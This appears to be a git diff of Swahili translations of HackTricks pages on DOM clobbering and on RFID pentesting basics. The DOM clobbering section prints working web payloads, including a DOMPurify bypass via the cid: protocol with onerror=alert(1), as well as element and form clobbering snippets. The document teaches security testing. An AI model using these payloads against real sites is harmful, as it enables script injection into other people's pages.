This method exploits the script source to execute unwanted code.
|
||||
|
||||
**Hila**: **`DOMPurify`** inakuwezesha kutumia itifaki ya **`cid:`**, ambayo **haitoi URL-encode alama za nukuu mara mbili**. Hii inamaanisha unaweza **kuingiza alama ya nukuu iliyofichwa ambayo itadecode wakati wa runtime**. Kwa hivyo, kuingiza kitu kama **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** kutafanya HTML encoded `"` **idecode wakati wa runtime** na **kutoroka** kutoka kwa thamani ya sifa ili **kuunda** tukio la **`onerror`**.
|
||||
**Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
|
||||
|
||||
Tekniki nyingine inatumia kipengele cha **`form`**. Maktaba fulani za upande wa mteja huchunguza sifa za kipengele cha fomu kilichoundwa hivi karibuni ili kuzisafisha. Walakini, kwa kuongeza `input` na `id=attributes` ndani ya fomu, unaweza kubadilisha mali ya sifa, kuzuia sanitizer kufikia sifa halisi.
|
||||
Another technique uses a **`form`** element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an `input` with `id=attributes` inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes.
|
||||
|
||||
Unaweza [**kupata mfano wa aina hii ya clobbering katika hii CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
|
||||
## Kuchafua kipengele cha hati
|
||||
## Clobbering document object
|
||||
|
||||
Kulingana na nyaraka, ni rahisi kubadilisha sifa za kipengele cha hati kwa kutumia DOM Clobbering:
|
||||
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
|
||||
|
||||
> Kiolesura cha [Hati](https://html.spec.whatwg.org/multipage/dom.html#document) [kinasaidia mali zilizo na majina](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Majina ya mali yaliyosaidiwa ya kipengele cha [Hati](https://html.spec.whatwg.org/multipage/dom.html#document) wakati wowote yanajumuisha yafuatayo, kwa [mpangilio wa mti](https://dom.spec.whatwg.org/#concept-tree-order) kulingana na kipengele kilichochangia, ikipuuza nakala zinazofuata, na na thamani kutoka kwa sifa za [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) zinazokuja kabla ya thamani kutoka kwa sifa za jina wakati kipengele kimoja kinachangia vyote viwili:
|
||||
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
|
||||
>
|
||||
> \- Thamani ya sifa ya yaliyomo ya jina kwa vifaa vyote vilivyofichuliwa vya [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), na vifaa vilivyofichuliwa vya [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) ambavyo vina sifa ya yaliyomo ya jina isiyo tupu na viko [katika mti wa hati](https://dom.spec.whatwg.org/#in-a-document-tree) na hati kama [mizizi](https://dom.spec.whatwg.org/#concept-tree-root) yao;\
|
||||
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- Thamani ya sifa ya yaliyomo ya [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) kwa vifaa vyote vilivyofichuliwa vya [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) ambavyo vina sifa ya yaliyomo ya [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) isiyo tupu na viko [katika mti wa hati](https://dom.spec.whatwg.org/#in-a-document-tree) na hati kama [mizizi](https://dom.spec.whatwg.org/#concept-tree-root) yao;\
|
||||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- Thamani ya sifa ya yaliyomo ya [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) kwa vifaa vyote vya [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) ambavyo vina sifa ya yaliyomo ya [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) isiyo tupu na sifa ya yaliyomo ya jina isiyo tupu, na viko [katika mti wa hati](https://dom.spec.whatwg.org/#in-a-document-tree) na hati kama [mizizi](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
|
||||
Kwa kutumia mbinu hii, unaweza kubadilisha **thamani za kawaida kama `document.cookie`, `document.body`, `document.children`**, na hata njia katika kiolesura cha Hati kama `document.querySelector`.
|
||||
Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
|
||||
```javascript
|
||||
document.write("<img name=cookie />")
|
||||
|
||||
|
|
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
|
|||
typeof(document.cookie)
|
||||
'object
|
||||
```
|
||||
## Kuandika baada ya kufuta kipengele
|
||||
## Kuandika baada ya kipengele kilichoharibiwa
|
||||
|
||||
Matokeo ya wito wa **`document.getElementById()`** na **`document.querySelector()`** yanaweza kubadilishwa kwa kuingiza lebo ya `<html>` au `<body>` na sifa sawa ya kitambulisho. Hapa ndipo jinsi inavyoweza kufanywa:
|
||||
Matokeo ya wito kwa **`document.getElementById()`** na **`document.querySelector()`** yanaweza kubadilishwa kwa kuingiza tagi ya `<html>` au `<body>` yenye sifa ya id sawa. Hapa kuna jinsi inavyoweza kufanywa:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||||
<p>
|
||||
|
|
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
|||
alert(document.querySelector('.x').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Zaidi ya hayo, kwa kutumia mitindo kuificha HTML/injini za mwili zilizoingizwa hizi, kuingiliwa na maandishi mengine katika `innerText` kunaweza kuzuiwa, hivyo kuongeza ufanisi wa shambulio:
|
||||
Zaidi ya hayo, kwa kutumia mitindo kuficha hizi lebo za HTML/body zilizoongezwa, kuingiliwa na maandiko mengine katika `innerText` kunaweza kuzuiwa, hivyo kuboresha ufanisi wa shambulio:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">test</div>
|
||||
<p>existing text</p>
|
||||
|
|
@ -162,7 +165,7 @@ p{display:none;}
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Uchunguzi katika SVG ulifunua kuwa lebo ya `<body>` inaweza kutumiwa kwa ufanisi:
|
||||
Uchunguzi wa SVG ulibaini kwamba tag `<body>` pia inaweza kutumika kwa ufanisi:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg><body id="cdnDomain">clobbered</body></svg>
|
||||
|
|
@ -170,7 +173,7 @@ Uchunguzi katika SVG ulifunua kuwa lebo ya `<body>` inaweza kutumiwa kwa ufanisi
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Kwa lebo ya HTML kufanya kazi ndani ya SVG kwenye vivinjari kama Chrome na Firefox, lebo ya `<foreignobject>` ni muhimu:
|
||||
Ili tag ya HTML ifanye kazi ndani ya SVG katika vivinjari kama Chrome na Firefox, tag ya `<foreignobject>` inahitajika:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg>
|
||||
|
|
@ -182,9 +185,9 @@ Kwa lebo ya HTML kufanya kazi ndani ya SVG kwenye vivinjari kama Chrome na Firef
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
## Kuziba Fomu
|
||||
## Clobbering Forms
|
||||
|
||||
Inawezekana kuongeza **vipengele vipya ndani ya fomu** kwa tu **kutaja sifa ya `form`** ndani ya baadhi ya vitambulisho. Unaweza kutumia hii kuongeza **thamani mpya ndani ya fomu** na hata kuongeza **kitufe** kipya cha **kupeleka** (clickjacking au kutumia baadhi ya msimbo wa JS wa `.click()`):
|
||||
Inawezekana kuongeza **ingizo jipya ndani ya fomu** kwa ku **ainisha sifa ya `form`** ndani ya baadhi ya lebo. Unaweza kutumia hii ku **ongeza thamani mpya ndani ya fomu** na hata kuongeza **kitufe kipya** cha **kutuma** (clickjacking au kutumia baadhi ya msimbo wa JS `.click()`):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
|
@ -198,22 +201,25 @@ Click to send!
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* Kwa aina zaidi ya fomu katika [**kitufe hiki**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
* Kwa maelezo zaidi kuhusu sifa za fomu katika [**button angalia hii**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||
* Heyes, Gareth. JavaScript kwa wadukuzi: Jifunze kufikiri kama mdukuzi.
|
||||
* Heyes, Gareth. JavaScript kwa wahacker: Jifunze kufikiri kama mhacker.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za uhacker kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,77 +1,99 @@
|
|||
# Pentesting RFID
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? au ungependa kupata **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Utangulizi
|
||||
|
||||
**Ufuatiliaji wa Kitambulisho cha Mzunguko wa Redio (RFID)** ni suluhisho maarufu zaidi la redio kwa umbali mfupi. Kawaida hutumiwa kuhifadhi na kuhamisha habari inayotambulisha kifaa.
|
||||
**Utambulisho wa Mawimbi ya Redio (RFID)** ni suluhisho maarufu la redio la umbali mfupi. Kwa kawaida hutumiwa kuhifadhi na kuhamasisha taarifa zinazotambulisha kitu.
|
||||
|
||||
Lebo ya RFID inaweza kutegemea **chanzo chake cha nguvu (active)**, kama betri iliyowekwa, au kupokea nguvu yake kutoka kwa antena ya kusoma kwa kutumia sasa **uliochochewa kutoka kwa mawimbi ya redio yaliyopokelewa** (**passive**).
|
||||
Tag ya RFID inaweza kutegemea **chanzo chake cha nguvu (kazi)**, kama betri iliyowekwa, au kupokea nguvu yake kutoka kwa antenna ya kusoma kwa kutumia **sasa iliyosababishwa na mawimbi ya redio yaliyopokelewa** (**pasifiki**).
|
||||
|
||||
### Madarasa
|
||||
### Makundi
|
||||
|
||||
EPCglobal inagawanya vitambulisho vya RFID katika makundi sita. Kitambulisho katika kila kategoria kina uwezo wote uliotajwa katika kategoria ya awali, ikifanya iwe nyuma ya sambamba.
|
||||
EPCglobal inagawanya tag za RFID katika makundi sita. Tag katika kila kundi ina uwezo wote ulioorodheshwa katika kundi la awali, na kuifanya iweze kufanya kazi na teknolojia za zamani.
|
||||
|
||||
* Vitambulisho vya **Darasa 0** ni vitambulisho **passive** ambavyo hufanya kazi katika bendi za **UHF**. Muuzaji anaweka mipangilio yao kabla ya kuzalishwa kiwandani. Kama matokeo, huwezi **kubadilisha** habari iliyohifadhiwa kwenye kumbukumbu yao.
|
||||
* Vitambulisho vya **Darasa 1** pia vinaweza kufanya kazi katika bendi za **HF**. Aidha, vinaweza kuandikwa **mara moja tu** baada ya kuzalishwa. Vitambulisho vingi vya Darasa 1 vinaweza pia kusindika **cyclic redundancy checks** (CRCs) ya amri wanazopokea. CRC ni baadhi ya herufi za ziada mwishoni mwa amri kwa ajili ya ugunduzi wa makosa.
|
||||
* Vitambulisho vya **Darasa 2** vinaweza kuandikwa **marudio kadhaa**.
|
||||
* Vitambulisho vya **Darasa 3** vinaweza kuwa na **sensori zilizojumuishwa** ambazo zinaweza kurekodi vigezo vya mazingira, kama vile joto la sasa au mwendo wa kadi. Vitambulisho hivi ni **nusu-passive**, kwa sababu ingawa vina chanzo cha nguvu kilichojumuishwa, kama vile **betri iliyowekwa**, haviwezi kuanzisha **mawasiliano** ya wireless na vitambulisho au wasomaji wengine.
|
||||
* Vitambulisho vya **Darasa 4** vinaweza kuanzisha mawasiliano na vitambulisho vingine vya darasa moja, vikifanya kuwa vitambulisho **active**.
|
||||
* Vitambulisho vya **Darasa 5** vinaweza kutoa **nguvu kwa vitambulisho vingine na kuwasiliana na vitambulisho vyote vya darasa la awali**. Vitambulisho vya Darasa 5 vinaweza kutenda kama **wasomaji wa RFID**.
|
||||
* Tag za **Daraja 0** ni tag za **pasifiki** zinazofanya kazi katika **UHF** bendi. Muuzaji **anaziandaa** kabla ya uzalishaji. Kama matokeo, huwezi **kubadilisha** taarifa zilizohifadhiwa katika kumbukumbu zao.
|
||||
* Tag za **Daraja 1** pia zinaweza kufanya kazi katika **HF** bendi. Zaidi ya hayo, zinaweza **kuandikwa mara moja tu** baada ya uzalishaji. Tag nyingi za Daraja 1 zinaweza pia kushughulikia **ukaguzi wa kurudiwa kwa mzunguko** (CRCs) wa amri wanazopokea. CRCs ni bytes chache za ziada mwishoni mwa amri kwa ajili ya kugundua makosa.
|
||||
* Tag za **Daraja 2** zinaweza **kuandikwa mara nyingi**.
|
||||
* Tag za **Daraja 3** zinaweza kuwa na **sensa zilizowekwa** ambazo zinaweza kurekodi vigezo vya mazingira, kama vile joto la sasa au mwendo wa tag. Tag hizi ni **nusu-pasifiki**, kwa sababu ingawa zina **chanzo cha nguvu** kilichowekwa, kama **betri** iliyounganishwa, hazina uwezo wa kuanzisha **mawasiliano** ya wireless na tag au wasomaji wengine.
|
||||
* Tag za **Daraja 4** zinaweza kuanzisha mawasiliano na tag nyingine za daraja sawa, na kuifanya kuwa **tag za kazi**.
|
||||
* Tag za **Daraja 5** zinaweza kutoa **nishati kwa tag nyingine na kuwasiliana na madaraja yote ya tag** yaliyotangulia. Tag za Daraja 5 zinaweza kutenda kama **wasomaji wa RFID**.
|
||||
|
||||
### Habari Iliyohifadhiwa kwenye Vitambulisho vya RFID
|
||||
### Taarifa Zilizohifadhiwa katika Tag za RFID
|
||||
|
||||
Kawaida, kumbukumbu ya vitambulisho vya RFID inahifadhi aina nne za data: data ya **kitambulisho**, ambayo **inatambulisha** kifaa ambacho kitambulisho kimeambatanishwa (data hii inajumuisha uga uliowekwa na mtumiaji, kama akaunti za benki); data ya **nyongeza**, ambayo hutoa **maelezo zaidi** kuhusu kifaa; data ya **udhibiti**, inayotumiwa kwa **mpangilio** wa ndani wa kitambulisho; na data ya **mtengenezaji** ya kitambulisho, ambayo ina kitambulisho cha kipekee cha kitambulisho (**UID**) na maelezo kuhusu **uzalishaji**, **aina**, na **muuzaji** wa kitambulisho. Utapata aina mbili za kwanza za data katika vitambulisho vyote vya kibiashara; zingine mbili za mwisho zinaweza kutofautiana kulingana na muuzaji wa kitambulisho.
|
||||
Kumbukumbu ya tag ya RFID kwa kawaida huhifadhi aina nne za data: **data ya utambulisho**, ambayo **inatambulisha** **kitu** ambacho tag imeunganishwa (data hii inajumuisha maeneo yaliyowekwa na mtumiaji, kama akaunti za benki); **data ya nyongeza**, ambayo inatoa **maelezo zaidi** kuhusu kitu; **data ya udhibiti**, inayotumika kwa **mipangilio** ya ndani ya tag; na **data ya mtengenezaji** wa tag, ambayo ina Kitambulisho Maalum cha Tag (**UID**) na maelezo kuhusu **uzalishaji**, **aina**, na **muuzaji** wa tag. Utapata aina mbili za kwanza za data katika tag zote za kibiashara; mbili za mwisho zinaweza kutofautiana kulingana na muuzaji wa tag.
|
||||
|
||||
Kiwango cha ISO kinabainisha thamani ya Kitambulisho cha Familia ya Maombi (**AFI**), nambari inayoonyesha **aina ya kitu** ambacho kitambulisho kinamiliki. Usajili muhimu mwingine, uliobainishwa pia na ISO, ni Kitambulisho cha Muundo wa Uhifadhi wa Data (**DSFID**), ambayo inafafanua **muundo wa mantiki wa data ya mtumiaji**.
|
||||
Standards za ISO zinaeleza thamani ya Kitambulisho cha Familia ya Maombi (**AFI**), msimbo unaoashiria **aina ya kitu** ambacho tag inahusiana nacho. Usajili mwingine muhimu, pia ulioelezwa na ISO, ni Kitambulisho cha Muundo wa Hifadhi ya Data (**DSFID**), ambacho kinaeleza **mpangilio wa kimantiki wa data ya mtumiaji**.
|
||||
|
||||
Vizuizi vingi vya **usalama** vya RFID vina mifumo ambayo **inazuia** shughuli za **kusoma** au **kuandika** kwenye kila kizuizi cha kumbukumbu ya mtumiaji na kwenye usajili maalum unaohifadhi thamani ya AFI na DSFID. Mifumo hii ya **kufunga** hutumia data iliyohifadhiwa kwenye kumbukumbu ya udhibiti na ina **nywila za chaguo-msingi** zilizowekwa mapema na muuzaji lakini inaruhusu wamiliki wa vitambulisho kuweka **nywila za desturi**.
|
||||
Mifumo mingi ya **udhibiti wa usalama** wa RFID ina mitambo ambayo **inasitisha** operesheni za **kusoma** au **kuandika** kwenye kila kizuizi cha kumbukumbu ya mtumiaji na kwenye usajili maalum unaoshikilia thamani za AFI na DSFID. Mitambo hii ya **kufunga** inatumia data iliyohifadhiwa katika kumbukumbu ya udhibiti na ina **nywila za chaguo-msingi** zilizowekwa awali na muuzaji lakini inaruhusu wamiliki wa tag **kuunda nywila za kawaida**.
|
||||
|
||||
### Linganisha Vitambulisho vya Mzunguko wa Chini na Mzunguko wa Juu
|
||||
### Ulinganisho wa Tag za Masafa ya Chini na Juu
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Vitambulisho vya Mzunguko wa Chini (125kHz)
|
||||
## Tag za RFID za Masafa ya Chini (125kHz)
|
||||
|
||||
**Vitambulisho vya mzunguko wa chini** mara nyingi hutumiwa katika mifumo ambayo **haitaji usalama mkubwa**: kuingia majengo, funguo za intercom, kadi za uanachama wa mazoezi, n.k. Kwa sababu ya umbali wao mpana, ni rahisi kutumia kwa maegesho ya gari ya kulipwa: dereva hahitaji kuleta kadi karibu na kusoma, kwani inaanzishwa kutoka umbali zaidi. Wakati huo huo, vitambulisho vya mzunguko wa chini ni vya kawaida sana, vina kiwango cha chini cha uhamishaji wa data. Kwa sababu hiyo, haiwezekani kutekeleza uhamishaji wa data wa pande mbili wa kina kwa mambo kama vile kudumisha usawa na kriptografia. Vitambulisho vya mzunguko wa chini hutoa tu kitambulisho fupi bila njia yoyote ya uwakilishi.
|
||||
**Tag za masafa ya chini** mara nyingi hutumiwa katika mifumo ambayo **hayahitaji usalama wa juu**: ufikiaji wa majengo, funguo za intercom, kadi za uanachama wa gym, n.k. Kwa sababu ya umbali wao mrefu, ni rahisi kutumia kwa maegesho ya magari ya kulipia: dereva hahitaji kuleta kadi karibu na msomaji, kwani inasababishwa kutoka mbali. Wakati huo huo, tag za masafa ya chini ni za msingi sana, zina kiwango cha chini cha uhamasishaji wa data. Kwa sababu hiyo, haiwezekani kutekeleza uhamasishaji wa data wa pande mbili wenye changamoto kama vile kudumisha salio na cryptography. Tag za masafa ya chini zinatoa tu kitambulisho chao kifupi bila njia yoyote ya uthibitishaji.
|
||||
|
||||
Vifaa hivi hutegemea teknolojia ya **RFID** **passive** na hufanya kazi katika **umbali wa 30 kHz hadi 300 kHz**, ingawa ni kawaida kutumia 125 kHz hadi 134 kHz:
|
||||
Vifaa hivi vinategemea teknolojia ya **pasifiki** **RFID** na vinafanya kazi katika **masafa ya 30 kHz hadi 300 kHz**, ingawa ni kawaida kutumia 125 kHz hadi 134 kHz:
|
||||
|
||||
* **Umbali Mrefu** - mzunguko wa chini unamaanisha umbali mkubwa. Kuna wasomaji wa EM-Marin na HID, ambao hufanya kazi kutoka umbali wa hadi mita moja. Mara nyingi hutumiwa katika maegesho ya gari.
|
||||
* **It
|
||||
## Vitambulisho vya RFID vya Mzunguko wa Juu (13.56 MHz)
|
||||
* **Umbali Mrefu** — masafa ya chini yanamaanisha umbali mrefu. Kuna wasomaji wa EM-Marin na HID, ambao hufanya kazi kutoka umbali wa hadi mita moja. Hizi hutumiwa mara nyingi katika maegesho ya magari.
|
||||
* **Protokali ya Msingi** — kutokana na kiwango cha chini cha uhamasishaji wa data, tag hizi zinaweza tu kuhamasisha kitambulisho chao kifupi. Katika hali nyingi, data haijathibitishwa na haijalindwa kwa njia yoyote. Mara tu kadi inapokuwa katika umbali wa msomaji, inaanza kuhamasisha kitambulisho chake.
|
||||
* **Usalama wa Chini** — Kadi hizi zinaweza kuigwa kwa urahisi, au hata kusomwa kutoka mfukoni mwa mtu mwingine kutokana na msingi wa protokali.
|
||||
|
||||
**Vitambulisho vya mzunguko wa juu** hutumiwa kwa mwingiliano wa kusoma na kuandika wa kina kati ya kifaa cha kusoma na kadi ya RFID, ambapo unahitaji kriptografia, uhamisho mkubwa wa data, uthibitisho, nk. Kawaida hupatikana kwenye kadi za benki, usafiri wa umma, na vitambulisho vingine vya usalama.
|
||||
**Protokali maarufu za 125 kHz:**
|
||||
|
||||
**Vitambulisho vya mzunguko wa juu wa 13.56 MHz ni seti ya viwango na itifaki**. Kawaida huitwa [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), lakini hiyo sio sahihi kila wakati. Itifaki ya msingi inayotumiwa kwenye viwango vya kimwili na mantiki ni ISO 14443. Itifaki za kiwango cha juu, pamoja na viwango mbadala (kama vile ISO 19092), zimejengwa juu yake. Wengi huita teknolojia hii **Mawasiliano ya Uwanja wa Karibu (NFC)**, ambayo ni neno linalotumika kwa vifaa vinavyofanya kazi kwenye mzunguko wa 13.56 MHz.
|
||||
* **EM-Marin** — EM4100, EM4102. Protokali maarufu zaidi katika CIS. Inaweza kusomwa kutoka takriban mita moja kwa sababu ya urahisi na uthabiti wake.
|
||||
* **HID Prox II** — protokali ya masafa ya chini iliyoanzishwa na HID Global. Protokali hii ni maarufu zaidi katika nchi za magharibi. Ni ngumu zaidi na kadi na wasomaji wa protokali hii ni ghali zaidi.
|
||||
* **Indala** — protokali ya zamani ya masafa ya chini iliyoanzishwa na Motorola, na baadaye kununuliwa na HID. Una uwezekano mdogo wa kukutana nayo katika mazingira ikilinganishwa na mbili zilizotangulia kwa sababu inatolewa nje ya matumizi.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
